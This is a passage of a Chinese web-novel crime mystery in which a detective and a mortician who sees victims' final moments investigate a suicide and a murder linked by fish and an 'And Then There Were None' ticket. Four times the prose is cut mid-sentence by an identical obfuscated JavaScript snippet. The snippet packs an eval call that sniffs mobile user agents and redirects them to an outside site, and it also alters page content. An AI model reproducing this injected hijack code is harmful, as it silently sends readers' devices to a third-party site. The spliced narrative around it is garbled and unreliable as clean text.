五年了,这个画面他牢牢记在了脑海深处,每一个细节都忘不掉。 而面前的木时宜居然画出了每一个细节,顾安程震惊到结巴了,他看着画又看着她,“你……你怎么,怎么会……这不可能,不可能啊……” “这就是我通过你看到的画面,我不需要在案发现场,事后通过触碰死……”她看着张口结舌的顾安程,斟酌了一下,换了个词,“触碰被害人的手,就能看到他们最后看到的画面。” “所以是在小巷的时候,难怪……”难怪她当时是这样的眼神,原来是看到了这个。虽然木时宜没有说的很直白,但顾安程还是听懂了她的能力,她可以通过触碰尸体看到死者最后看到的画面。 我去,这能力牛掰啊!顾安程垂眸看着那只靴子,暗自感叹,如果当时他不是被踩着脸,他就能看到凶手的长相了。 这样的话,他就明白了,“那时候你就打算拉我入局了是吗?”她这个能力确实没法跟别人说,说出来也没人信,但他会信,“六年前,你通过刘文倩的尸体看到了……吴骏?” “是的,站在河边的吴骏。” 顾安程单手扶额面露苦涩,他真的不想抓自己的朋友啊,但既然他已经知道了,他没法不管,这可是两条人命,两个家庭。 “对了,你和刘文倩是朋友?”顾安程也只能想到这层关系了。 “不是,不认识。” 木时宜的回答让他震惊了,“那你为什么……你可是为了她坚持了六年啊!”吴骏还往她身上泼了脏水,她还得时刻担心遭到吴骏的报复,这六年过的是什么日子啊! 她回答的很淡然,“因为是我第一个发现她的,也只有我知道凶手是谁。”如果连她都放弃了,就不会有人知道刘文倩真正的死因,就不会有人知道吴骏的罪行。 “现在我也知道了。”顾安程突然感觉自己正义感爆棚了,他信誓旦旦地道:“你放心,我一定会找到证据。” 木时宜看着斗志昂扬的顾安程点了点头,虽然不知道他靠不靠谱,但目前来说也只能靠他了。 顾安程将木时宜画的画折好收了起来,揣进了裤兜里,“话说你这个能力还有别人知道吗?” “没有。” 顾安程有些激动地指了指自己,“就我一个人知道啊?” “是。”木时宜不懂他有什么好激动的,毕竟她也是头一次碰到在活人身上看到死亡画面。 “你放心,我会替你保守秘密的。”顾安程单手握拳捶了捶自己的胸口,一脸你信我的表情。 木时宜倒是无所谓,这事他说出去也没人信啊。 聊的差不多了,顾安程起身,问木时宜:“你回哪儿,我开车送你。” “我回家。”她刚想说可以自己坐地铁回去的,就被顾安程打断了。 “你家里不安全啊,门都被撬开过了,那嫌疑人还没抓到呢,你爸妈……啊,不是,对不起。”顾安程话说出口了才想起来木时宜是个孤儿,“你们单位有宿舍吗?” “有值班休息的房间。” 顾安程想了想刑队的宿舍,值班的时候睡一觉是还行,但要是每天住里面肯定不行,又不是单人间,怎么可能休息得好,休息不好万一影响她能力怎么办。 他思忖了一番,想到他家楼下的房子正好还没租出去,他一拍手,决定了,“你住我家。” “啊?”这下轮到木时宜张口结舌了。 “不是不是,你别误会啊。”顾安程忙摆手,他急 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306104|140277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着解释脸都红了,“是我家楼下,有一套房子空着,反正也不出租,你不用付租金,安心住着就行。” 木时宜不喜欢欠人人情,开口就是拒绝,“这太麻烦你了,我住单位宿舍就行。” 顾安程态度也很坚决,“不麻烦啊,你不用担心欠我什么,我提供你住宿保证你安全,你用你的能力帮我找到凶手,互利共赢啊。”这样的人才他可得好好留在身边保护着。 “袭击你的凶手你还没抓到啊。” 顾安程摇了摇头,现在的他应该还没法找到那个人。 *** 决定好了之后,顾安程先开车陪木时宜回家拿行李,他趁着她进房间收拾的时候赶紧打电话给他妈。 “妈,我楼下那房子不出租了,我借给朋友住段时间。” 顾妈妈一听刨根问底起来:“谁啊?哪个朋友啊?” 顾安程懒得编,回答的含糊:“就朋友,你不认识的。” 顾妈妈不满:“喔唷,我的房子借给谁住我都不能知道啦?你借给女朋友住啊?” “什么女朋友!我单身好吧!”一下子太激动了,顾安程赶紧瞟了眼里面。 “顾安程,你单身很骄傲的嘛?” “……”顾安程被怼的哑口无言。 过了十分钟,木时宜拿着一大一小两个行李出来了,顾安程很自然的接过转身就往楼下走,根本没给木时宜拎一个箱子的机会,一口气拎到一楼,他停下来缓了缓,心想还好他家住的是电梯房。 安顿好木时宜之后,顾安程一刻没停,又开车回了刑队,六年前刘文倩的案子很难查,高小伟的车祸又在国外没法查,那只能从最近发生的开始查,也就是入室盗窃的那名黑衣男子,得先确认他的身份,锁定他的位置。 晚上,顾安程边吃着泡面边盯着监控看那名男子离开木时宜小区后的去向,还没查出什么,就接到快递员打来的电话,说有个快递给他放在单位门口的快递架上了。 顾安程心想自己最近没买东西寄单位啊,难道是与案件有关的材料? 到了快递架前一看,快递员给他放在了显眼的位置,是一个信封袋装着的。 寄信人的名字写着:彭军伟。 这名字他没印象。 回到办公室,他拆开信封袋,看到了里面的东西。 一张话剧票:《无人生还》。 *** “四个小兵人,出海去逞能;一个葬鱼腹,还剩三个人。三个小兵人,走进动物园;一个遭熊袭,还剩两个人。两个小兵人,坐着晒太阳;一个被晒焦,只剩一个人。这个小兵人,孤单又影只;投缳上了吊,一个也没剩。”——阿加莎《无人生还》 7. 第七章 “无人生还……” 顾安程看着手里这张话剧票呢喃着。 啪! 整个办公室瞬间暗了下来,只有放在桌子上的手机还亮着,深处黑暗之中的他只能透着那束光看到那四个黑体字:无人生还。 我靠! 一阵颤栗,顾安程差点手一抖把票扔了,还好下一秒,办公室的光又重新亮起,他腿一软跌坐在椅子上,手里的票越看越觉得诡异。 而且这票居然还是过期的,演出日期是上个周六。 给他寄个过期票,这个叫胡军伟的到底什么意思? 顾安程决定问问清楚,快递单上留着对方的手机号,他确认号码后拨了出去。 “对不起,您所拨打的号码已关机……” 更晚些的时候,他又打了几次,对方始终关机,他也没辙了,总不能为了一张票去查对方地址再上门吧,况且他现在手里一堆事还没解决呢。 顾安程把话剧票塞回快递袋里,随手扔进了最下面一层抽屉里。 不管了! *** 但,不管心里不舒服啊。 第二天白天,顾安程又拨出了这个号码,这次没有关机,电话是通的,可惜没有人接听,他没放弃,又打了一次,等了约十秒后,对方接了电话。 终于接了!他眼睛一亮,赶紧道:“喂,是彭军伟吗?” “你,你是哪位?” 年轻女性的声音,似乎还带着一点哭腔,顾安程拧着眉试探着问:“请问这是彭军伟的手机号吗?” “是的,你找我爸爸什么事?” 原来是彭军伟的女儿,确认自己没打错号码,他提出:“方便让你爸爸接电话么?” 女孩很警惕,反问他:“你是谁,找,找他什么事?” “我是警察,昨天收到你爸爸寄来的一个快递,所以有点情况想和他了解下。” “警察?”女孩的声音离远了一些,应该是在询问旁边人,“他说他是警察,是不是诈骗电话……” 顾安程心说反诈意识倒是挺强,刚想解释一下,就听到手机里传出了自己熟悉的声音。 “顾安程?” “木时宜?!” *** 半个小时后,顾安程到了木时宜工作的安兴殡仪馆,之前在电话里不好多说,木时宜只跟他说了关键信息。 彭军伟去世了,自杀。 车刚开进殡仪馆,顾安程就看到了从楼里走出来的木时宜,这还是第一次在她工作的单位看到她,她穿着浅色的工作服,及腰的长发盘了起来,和平时的状态不太一样。 顾安程停好车,让木时宜上了车,在见到家属之前,他得先了解些情况。 “彭军伟确定是自杀?” “法医来做过尸检了,说排除了他杀,死因是颈动脉闭塞导致大脑缺氧,用的绳子。”木时宜边说边用手比了比自己的脖子,脑袋还往前一伸,似乎是想让自己的描述更形象一些。 顾安程看着她的演示,差点笑出来,他抿了抿嘴,“那你有没有……” 木时宜知道他想问什么,小幅度点了点头,“没看出奇怪的地方。” 那就能确定他是自杀了,“死亡时间和地点是?” 木时宜将知晓的信息一一道出:“昨天晚上7点到8点,在他家中,他女儿读的寄宿学校,说是从昨天开始就联系不上她父亲了,彭军伟心脏不好,之前装过支架,他女儿怕他出事,所以今天早上6点就赶回家了,然后就发现……之后就报了警。” 顾安程看了一眼手机通话记录,“那我昨天给他打电话的时候,他已经自杀身亡了,家里有发现遗书吗?” 木时宜摇了头,“对了,你在电话里说彭军伟给你寄了一个快递?” “对,就是这个。”顾安程颔首,将文件袋递给她,“里面是一张话剧票。” 木时宜接过手,将里面的那张话剧票取出,缓缓念了出来:“无人生还。”她观察地很细致,马上就注意到了演出日期,“这是上周六演出的票啊。” “没错,过期的票了,我是昨天晚上8点半左右收到的,我刚查了寄件信息,快递员是昨天早上9点从彭军伟家里取的件,据快递员回忆,是本人寄出的。” 票上也看不出别的什么线索了,木时宜将票塞回了文件袋,“你之前认识他吗?” 顾安程手一摊,一脸莫名,“完全不认识啊,所以我也不知道他为什么会给我寄一张过期的话剧票,还是在自杀前。”顾安程觉得很奇怪,又觉得整件事情透着一股诡异,他有种非常不好的感觉。 事情还没结束,甚至只是刚刚开始。 还会死人。 *** 交换信息之后,顾安程跟着木时宜去见了彭军伟的女儿,他的妻子四年前去世,父母也都已病逝,还有个姐姐在外地,但不怎么来往了,所以最了解他情况的也只有他女儿彭可欣了。 询问进展的并不顺利,彭可欣才高一,一夜之间就变成了孤儿,情绪奔溃,她接受不了自己的父亲自杀,也根本想不到他寻死的原因,最近也没发现她父亲有什么异常表现。 顾安程问了半天发现一无所获,也觉得不能再继续询问刺激彭可欣了,他想到了彭军伟的手机,他的手机或许会有线索。 从彭可欣手里拿到手机,顾安程首先去看了彭军伟的通话记录,看得出来他很爱自己的女儿,往下翻了几页基本就是和女儿的通话,但中间还穿插着几个座机号码,顾安程尝试用自己的手机打过去,没人接,打到第三个座机号,电话通了。 “喂。” “你好。”顾安程隐约听到了那边传来来条利群 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306105|140277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的声音,“请问你那边是杂货店吗?” “190块。”店老板把烟的价格报给顾客,然后回道:“是啊,是需要送货上门吗?” “不用,你那地址告诉我一下。” 顾安程用地图软件搜了一下杂货店的地址,发现就在彭军伟小区对面,应该就是他日常买东西的地方。 顾安程把彭军伟的最近通话打了一圈,有三个座机号打了没人接,他只能求助同事了,“董哥,你能帮我查几个座机号吗?” “行啊,你发给我。” 顾安程赶紧给他发过去,很快就收到了结果。 “公用电话?”他很惊讶,这年头用座机的人都不多了,居然还有人用公用电话啊。 一旁的木时宜听了也很意外,“三个都是?” “对啊。”董哥还很贴心的把三个公用电话的地址发来了,他一搜,位置都很偏。 在彭军伟自杀前不久,有人在用公用电话联系彭军伟。 顾安程不禁怀疑,彭军伟的自杀可能和这几通电话有关系。 木时宜还要上班,顾安程决定先开车去那三个电话亭的位置看看,路上还有点堵,足足开了一个小时,他才到了第一个电话亭,他下车查看四周,偏僻的道路,周围唯一的监控还是坏的,看得出来是那人为了不暴露身份而刻意挑选过的,有一定的反侦察能力。 顾安程还在研究,就接到了何队的电话,他暗道一声不好,出外勤忘记和队长说了。 “喂,何队。” “小顾,你人呢?” “我在外面查个案子的监控。” “监控的事先放一放,来案子了,我发你地址。” “好好好,我马上来。”何队的语气很急,顾安程觉得情况不太妙。 好在回去的路上没堵车,他开了半个多小时到了何队给他发的地址。 星河路菜市场。 菜场出入口已经拉起了警戒线,周围都是围观群众,顾安程只得挤进人群出示证件。 “来了这么多警察啊,出什么事了?” “是不是死人了?” “是啊是啊,我都看到有人吐了。” “恶心死了,听说是在鱼里面。” “鱼里面?这得多大的鱼啊。” “诶哟,这以后还怎么买鱼啊。” 鱼里面?顾安程边听边越过警戒线,心里也是一样的想法,这得是多大的一条鱼啊。 又往里走了一会儿,他在一家卖水产店的门口看到了队里的同事们。 他快步上前,“何队,什么情况?” 何队没吭声,手往旁边一指。 顾安程顺着他手指的方向看去,那是一条死鱼,鱼的眼睛正对着他,它的肚子被剖开,殷红一片,里面是一个手掌。 人的手掌。 8.第八章 鱼是水产店的老板给顾客挑鱼的时候发现的,一开始以为就是死了条鱼,等他捞起来一看,发现鱼的肚子竟然有缝合线,好奇心驱使下,他把那鱼放在砧板上,用剪刀把线剪开,然后他就看到了里面藏着的东西。 下一秒,他狂吐不止,旁边原本忙着收钱的老板娘见状向那砧板上看去,水产店瞬间充斥着她的尖叫声。 顾安程看到了在不远处正在接受问询的水产店老板夫妇,他们显然还惊魂未定,面色惨白,双手环抱着自己,全身都在微微颤抖。 他不由想起了自己第一次去现场的时候,那是一具已经高度腐烂的尸体,即使在进去前师父给他打了预防针,他已经做好了一定的心理准备,但在视觉和嗅觉的双重夹击下,他还是很不争气地吐了。 虽然现在习惯了去现场,不会再出现呕吐这样的生理反应,但他还是会觉得难受不舒服,更多的是心理层面上的,他眼前的尸体都曾经是活生生的人。 他师父在他第一次吐了的时候边给他递水边跟他说:“你以后会习惯的,不过,习惯归习惯,但不能麻木。” 顾安程又想到了木时宜,作为一名入殓师,她所接触到的遗体一定是比自己多的多,那些或是残缺、或是腐烂的遗体,都需要入殓师去修复,这都是常人所无法接受的,所以他从心底里就对这个职业充满钦佩,更何况,木时宜的特殊能力…… 她每接触一具尸体,就能看到死者死前看到的最后一幕,那绝对是他无法想象到的冲击和恐怖。 顾安程又看向了那只被凶手砍断的手掌,凶手到底是怎么样的目的,要做出这样的行为。 诶!等等,他突然灵光一现。 他记得木时宜是这么描述她的特殊能力的:通过触碰死者的手,她就能看到他们最后看到的画面。 那……如果仅仅是一个手掌呢?会不会也能看到! “想什么呢这么专注。” 背后突然传来声音,顾安程一吓,回头一看,居然是自己师父,“师父!你出差回来了?!” “是啊,刚下火车就赶过来了。”师父一脸风尘仆仆的,“刚想什么呢?” “啊……我刚在想死者……” “什么死者!”师父眉头一皱,瞪了他一眼,纠正他的措辞,“我们现在只是发现了被砍下的一个手掌,那并不代表手掌的主人已经死亡。” 是啊!他居然没想到这点,就这么急着判定受害者已经死亡,“对不起,我错了师父。” “行了,你说说下一步应该查什么?” 查什么? 何队已经让廖师姐去查最近的失踪人员了,手掌之后会带回刑科所做DNA还有指纹的比对,董哥看了菜市场里正对着水产店的监控,从水产店开门到老板发现这条死鱼,期间并没有看到有可疑行为的人员,也就意味着这条鱼极有可能是在水产批发市场被混在鱼里了。 顾安程:“去查水产批发市场。” “走。” 水产店老板平日里都是在这附近最大的一家水产批发市场进货,每次都是从姓吴的一个老板摊头里进的。 顾安程和师父停好车,刚下来,就看到一个中年男人拿着手机急匆匆冲了出来,看到穿着警服的顾安程师父很激动,“警察同志,你们来的也忒快了!” 嗯?什么意思,这么巧,这人刚报警了? 师父反应很快:“你刚打110了?你是不是姓吴?” “是啊,警察同志,就是我,我刚在鱼里发现一张身份证!真是奇了怪了,什么人啊把身份证塞鱼里面,缺德。” 鱼,又是一条鱼。 此话一听,顾安程和师父对视了一眼,忙道:“带我们去看看。” 吴老板忙点头,在前面领着他们往里面走,在一块大砧板上果然躺着一条死鱼,和之前那条鱼一样,鱼肚被剖开。 里面是一张身份证,正面向上,顾安程凑近了些,看清了这上面的名字。 顾明德。 1978年出生的一名男性。 顾安程查到了他的手机号,立马打了过去。 “对不起,您拨打的用户已关机。” 关机……他有种不好的预感。 顾安程又查了顾明德的关系人,他没有孩子,只有一位前妻,电话打了过去,对方接了。 接通后,顾安程立马道:“喂,你好,是姜晓惠吗?” “是啊,你谁啊?” 顾安程表明身份,“你好,我是警察,刚有人捡到了顾明德的身份证,但他手机关机了,你最近有联系过他吗?” 对面的姜晓惠冷哼了一声,“我和他都离婚了,有什么好联系的,你要问应该问他女朋友去。” “抱歉打扰了,你知道他现在还住在这个地址上吗?”顾安程给她报了顾明德身份证上的地址。 “应该是的吧,我也不确定哦,一年多没联系了。” “谢谢谢谢。” 正好这时接警的民警到了现场,留下来师父在这里继续开展后续工作,顾安程和何队报了身份证这个情况,然后开车去了顾明德身份证上的那个地址。 爬了三层楼梯,顾安程停在301的门口按了门铃,过了一会儿里面传出了女人的声音,“谁啊?”同时门开了。 “女士你好,警察。”顾安程没穿警服,怕对方不信,便出示了自己的警官证,“请问这是顾明德的家吗?” 女人穿着睡衣,四十多岁的模样,一头卷发有些凌乱,看来是刚在睡觉被他吵醒的,女人看了一眼证件,“是啊,你找他啊,但他不在,他不会是犯什么事了吧?我就知道,一晚上没回来,指不定就是找.鸡.快活去了。” “不是,您别误会,是有人捡到了他的身份证,但我打他电话关机,所以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13357203|140277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才找上门来的。”顾安程顿了一下,接着道:“所以,顾先生是什么时候离开家里的?他一晚上没回来,你有给他打过电话吗,或者他有联系过你吗?” 他一连串的问题让女人皱了皱眉头,但还是回答了他:“他昨天早上去上班,然后就没回来,个死男人不回家也没给我打电话。”女人愤愤地说着,从旁边的柜子里拿出一包烟和打火机,向顾安程示意了一下,问他抽不抽。 顾安程摆了摆手,表示不抽烟,“你是他的……” “女朋友。”女人抽出一支烟,点燃烟后吸了一口,再慢慢吐出烟圈,“哦对了,你联系过他前妻没?说不定在她那呢。”她说的语气满不在乎,好像即使他们关系没断也无所谓的样子。 “联系过了,他前妻说他们很久没联系过了。” 女人又吸了口烟,啧了一声,“那就是不知道去哪儿混了呗,不是打牌就是喝酒,男人么不就那么点爱好。” 顾安程心说自己之前还真是吃过喝酒的亏,往事不堪回首啊。 “那经常和他喝酒打牌的朋友你认识吗?” “都是他工厂里的同事,一个老王,一个老万,还有一个好像姓董吧,你去他厂里问问呗,不是……”听顾安程问了这么多,女人又怀疑起来,“奇怪的咧,不就是有人捡到他身份证么,你把他身份证给我不就行了,用得着问这么多有的没的嘛?老顾还是犯事了对不对,警察同志你给我透个底,事大不大?” “姐,真不是他犯事。”现在情况不明,顾安程也没法多说什么,“如果他回家或者打电话回来,你让他去附近派出所取身份证,因为需要本人来领。” “行了,我知道了,没别的事了吧。”一支烟快抽完了,女人打了个哈欠,明显赶人的态度了。” “没了没了,打扰了。” 顾安程刚说完,大门就在他面前砰地一声关上了,带起的风让他不自觉地眯了眯眼。 顾明德明天早上离开家去上班,得先搞清楚昨天他是不是正常上下班,下班后是不是去打牌喝酒了。 他边想边往楼下走,还没到一楼,手机响了,是师父打来的。 “喂,师父,怎么了,我刚从顾明德家出来…” “安程,找到顾明德的尸体了。” 顾安程心一紧,转身看向楼上的方向。 顾明德的尸体是在郊区的一个臭河沟里发现的,浑身赤裸,全身皮肤青紫,两只手掌均被切下,生.稙.器也被切下。 在臭水沟的旁边,还有一条死鱼,鱼肚被剖开,里面装着的正是被切下的男性生.稙.器。 *** “快点藏好,我要开始数数啦,数到三十我就要来抓你了哟。” “一、二、三……十、十一……二十八、二十九、三十!” “我来啦。” “让我找找看你藏在哪里呀?” 9.第九章 顾明德的尸体是被在这附近拾荒的老人发现的,老人先看到了地上的鱼,像是有人装鱼的袋子漏了,掉了一路,他一路低头弯着腰捡过去,捡了四条鱼,就到了臭河沟的旁边,那条鱼不知为何鼓鼓的,他弯下腰手还没碰到那鱼,余光就撇见了河里有东西,他抬头定眼看去,只一眼,就被吓的跌坐在了地上,连声音都发不出来了。 稍微缓过神来,老人想起来要报警,可手机没带,他抓着装鱼的袋子跌跌撞撞地往外走,走了五六分钟才碰上一个人,他一把抓住那人的手,眼神有些呆滞,嘴里就反反复复就重复着两个字:“报,报警,报警……” 戴着帽子的男人见老人衣衫褴褛的,手里还都是泥,以为碰到了精神病,嫌弃地一把甩开他的手,“有病啊你,恶心死了。” “报警,报警……”老人一时说不出别的话来,只是还在重复,越说越急。 男人想走,老人却还想抓他的手拦着他,“你再这样我报警抓你哦,滚。”他下意识地一推。 老人本来就站不太稳,直接被推倒在地,他一懵,然后叫了起来:“死人了,死人了!” 男人吓了一跳,以为老人要讹他,急着跳脚,“瞎说什么你,死老头别装啊。” 两人的声音引来了周围的人,老人指着臭水沟的方向喊:“死人了,报警,报警。” 一个年轻人明白了老人的意思,问他:“在哪儿啊?” “河,河里。” 年轻人赶紧往臭河沟的方向跑去,没多久就看到了尸体,他还看了好多秒,看到男人的手掌没了,□□……他一阵反胃想吐,转过身立马打了110,再跑回来,向着人群喊道:“真死人了!” 人群立马骚动起来。 “啊!” “死的是男的女的啊?” “怎么死的啊?溺水?” “那臭河沟怎么可能溺水啊!” “卧槽凶杀案啊。” 何队他们接到通知赶到现场的时候,拾荒老人因为惊吓过度昏了过去,已经被救护车紧急送医了。尸体被送到了安兴殡仪馆,队里的赵法医去做尸检。 顾安程一听,这不巧了嘛,木时宜就在安兴殡仪馆,他今天得再过去一趟。 奇了怪了,怎么遇到她之后,他去殡仪馆的次数都多了…… 出了命案,刑侦一队的每个人都忙了起来,顾安程被安排去顾明德上班的工厂了解情况。 到了厂里,他找到了顾明德的直属领导,然后又找了顾明德女朋友提过了经常和他打牌喝酒的几个工友。 顾明德昨天正常上下班,下班之后确实是和厂里的三个同事到饭店吃饭喝了酒,他们说因为和老板熟悉,所以每次聚餐都去的那家做小炒菜的店,照例吃饭又喝了好几瓶啤酒,四人喝到快10点才散,之后就各回各家了,顾明德离开店后的去向他们也不得而知了。 “顾明德最近有什么异常表现吗?” 老万摇摇头,很肯定地道:“没有啊,昨天我们酒喝的也很开心。” 顾安程继续问:“那他有和你们提到得罪什么人之类的吗?” 老万继续摇头,“我们就一普通工人,上哪里去得罪人啊。” 旁边的老童突然插了一句,“会不会是因为女人啊?” 顾安程一听,身体前倾往前凑了凑,“大哥知道些什么?” “老顾啊,别的没什么,就是女人这方面吧,他老是控制不住自己,总是要去找些不三不四的女的,他前妻啊就是因为这事跟他离婚的。” “是因为他现在的女朋友?” “不是,别的女的,这女朋友也就跟他谈了没几个月吧。” 顾安程想起顾明德被割掉的生.殖.器,难道是因为情感方面的问题,被人杀害了?但是……凶手处理的方式又不像是单纯的情杀,情杀的案子他也碰到过,基本都是激情杀人,拿刀一捅,开车一撞,不会有这么复杂的程序,最让他想不通的是,为什么要塞在鱼里面呢? 凶手到底在表达什么呢? *** 凶手要表达什么他暂时分析不出来,但现在要搞清楚顾明德离开饭店之后的动向,他电话给了董哥,和他说了饭店的位置还有顾明德离开的大概时间点。 “对了,那个入室盗窃的,人给你找到了。” “找到了?!董哥,你真是我亲哥,我还想着自己找来着。” 董哥语气突然一变,“啧啧,我就知道。” 顾安程听了一头雾水,“知道什么?” “你跟那个受害人木小姐关系不一般。” “怎么就不一般了,就是认识。” “哟,还就是认识,人家小姑娘可直接打的你电话,那天她做笔录,你还在问询室外面等着,两人还在休息室喝着咖啡聊了半天,你还加班加点看监控帮她抓嫌疑人。” 顾安程想反驳,可偏偏董哥说的还都是事实,只是从他嘴里说出来的感觉不对,“董哥,不是你想的那样,我们就是一个高中的……” “行了行了,不想知道的这么透彻,有个情况跟你说下啊。”玩笑结束了,董哥突然严肃起来,“入室盗窃这人现在在拘留所里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13382144|140277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,因为在店里偷东西被抓了个现行,早上刚送进去的,他的信息我发给你了。” “好,谢谢董哥。” 入室盗窃的人找到了就好办了,关在拘留所里也安全,顾安程决定先去一趟安兴殡仪馆。 顾安程到的时候,给木时宜打电话,发现没人接,问了她的同事才知道她正在进行遗体修复,应该还需要点时间才能结束。他便给她发了微信,然后去解剖室找赵法医。 顾安程把防护的东西都穿戴好才进了解剖室,“赵法医,怎么样?有结果了么?” “小顾来了啊。”赵法医直接说了重点,“死因是中毒,他这个毒还蛮特别的。” “什么毒啊?” “河豚毒素中毒。” 顾安程一愣,“吃河豚鱼死的?” 赵法医摇了头,“不是,检测出来的河豚毒素的浓度很高,应该是提炼出来的毒素。” 又是鱼……被鱼毒死,被割下的手掌、生/殖/器还有他的身份证都被塞进了鱼里,尸体被发现的地方旁边放着鱼。 这鱼出场的频率未免也太高了点吧。 正想着,手机来了消息,是木时宜发来的,她工作结束了。 趁着赵法医出去打电话汇报情况,顾安程带木时宜进了解剖室,顾明德的手掌也在解剖台上。 顾安程向她解释情况,“尸体的情况有些特殊,他的手掌都被切下了,我不知道这种情况下你还能看得到吗?” 木时宜也是第一次碰到这种情况,她点点头道:“我试试看吧。” 她戴上手套,没有犹豫,直接放在了那只断手上。 几秒后,她摇了头。 “不行,看不到。”说完她又补充了一句,“应该是因为手和躯体之间被切断了联系,所以我就看不到了。” “没事没事。”既然看不到了,他想到了另外一件和木时宜有关的事,“对了,入室盗窃的人找到了,他现在在拘留所里,这几天也放不出来,我过两天有空会去一趟。” 他想了想又加了一句,“你要跟我一起去吗?不过你见不了,只能在外面等着。” “好。” 顾安程带木时宜出了解剖室,她想到里面那具遗体的情况,问:“里面的人是中毒身亡吗?” “我天,你这都能猜到啊,死因是河豚鱼毒素中毒。”顾安程一脸佩服,又说了频繁出现鱼这个情况。 “鱼……”木时宜听完若有所思,她默默拿出手机查了查,然后像是发现了什么,抬头问顾安程,“你知道《无人生还》的那首童谣吗?” 10.第十章 “……四个小兵人,出海去逞能;一个葬鱼腹,还剩三个人。” 顾安程看着木时宜手机上搜索出来的那首童谣,念出了其中有关鱼的那一句,《无人生还》他好几年前看过原著和改编的电视剧,剧情倒是还依稀记得,童谣唱的内容基本都忘光了,“你是怎么会想到这首童谣的?” 木时宜解释道:“早上你给我看了那张话剧票,光想也想不出什么来,我就在网上搜了《无人生还》,就看到了那首童谣。” “你是觉得彭军伟的自杀和顾明德的遇害有关系?” 木时宜只是因为出现过多的“鱼”这个元素才觉得和童谣有关联,“其实细想一下,有些牵强的。” 顾安程听了立马抬高了声音:“我听着不牵强啊,再说了总是一条思路,我马上去查查看彭军伟和顾明德的关系。” 顾安程并不是随口说说,他真的去调查了,问了两方的亲友,查了他们的通话记录,网络聊天工具的记录,甚至他们这几年的出行记录,他们俩除了年龄相仿之外,这两人没有任何的交集,不同的工作,不同的生活圈。 遇事不决,请教师父。 顾安程的师父听他说完,眉头越皱越紧,思考片刻后,他开了口:“牵强是牵强了点,不过我问你,你收到这票后有没有查过订票人的信息?” 顾安程一愣。 卧槽! 思维定势真可怕,他居然没有想到查订票信息这茬,寄件人是彭军伟,他想当然地认为就是彭军伟本人订的票。 顾安程谢完师父,立马联系了技术科的同事,没过多久,就有了结果。 这张话剧票的订票人不是彭军伟,当然也不是顾明德,而是出现了一个新的人物。 一个叫宋国平的男人。 顾安程顿时感觉有点头大,两个人的关系还没解决,怎么又出来一个,他看了一下宋国平的个人资料,1981年出生,非本市人,妻子叫刘芳,两人育有一个儿子。 宋国平的手机他也不打了,顾安程准备直接开车去宋国平的家里,他倒要去看看对方是什么情况。 宋国平的家在郊区,他把地址输入导航查询路线的时候,突然发现这个路线有点熟悉,思索了一下他意识到了。 他之前查彭军伟的通话记录,有三个电话是从公共电话亭打出的,而宋国平的家离这三个电话亭都不远,甚至有一个电话亭离他家的直线距离不到200米。 这不免让顾安程有了一个猜想,难道这三个从公共电话亭播出的电话是宋国平打给彭军伟的吗? 带着这个猜想他开到了宋国平住的小区,那是一个老式小区,小区里有几幢楼已经加装了电梯,不过很遗憾宋国平住的那幢并没有,所以顾安程爬了六楼。 喘了口气,他敲了敲门,在敲了好几下之后,门里传出了走路的声响,同时响起的轻柔女声中透出一丝不易察觉的慌张,“谁啊?” “你好,警察。” 听到回答,里面的人并没有马上开门,似乎在通过猫眼核实。 几秒之后,大门打开了,是一个中年妇人,和身份证上的照片差别不大,是宋国平的妻子:刘芳。 “不好意思,打扰了,这里是宋国平的家吗?”门只打开了大约30度,刘芳的手还握在门把手上,像是随时准备着关门。 “是,你有什么事吗?” “请问宋国平在家吗?” 顾安程注意到听到他这么问后,刘芳的手一颤,脸色明显变了,她摇头道:“他不在。” “这样啊。”顾安程不着痕迹地往旁边挪了一步,让自己的视野能更好一点,这个房子应该是两室一厅,一进门就是小客厅,左边是两个房间,此时都关着门,“他是上班去了吗?可我好像联系不上他。” 刘芳垂眸避开着他投来的目光,支支吾吾道:“他,他出差去了。” 顾安程感觉不太妙,他追问:“那他什么时候出差回来啊?” 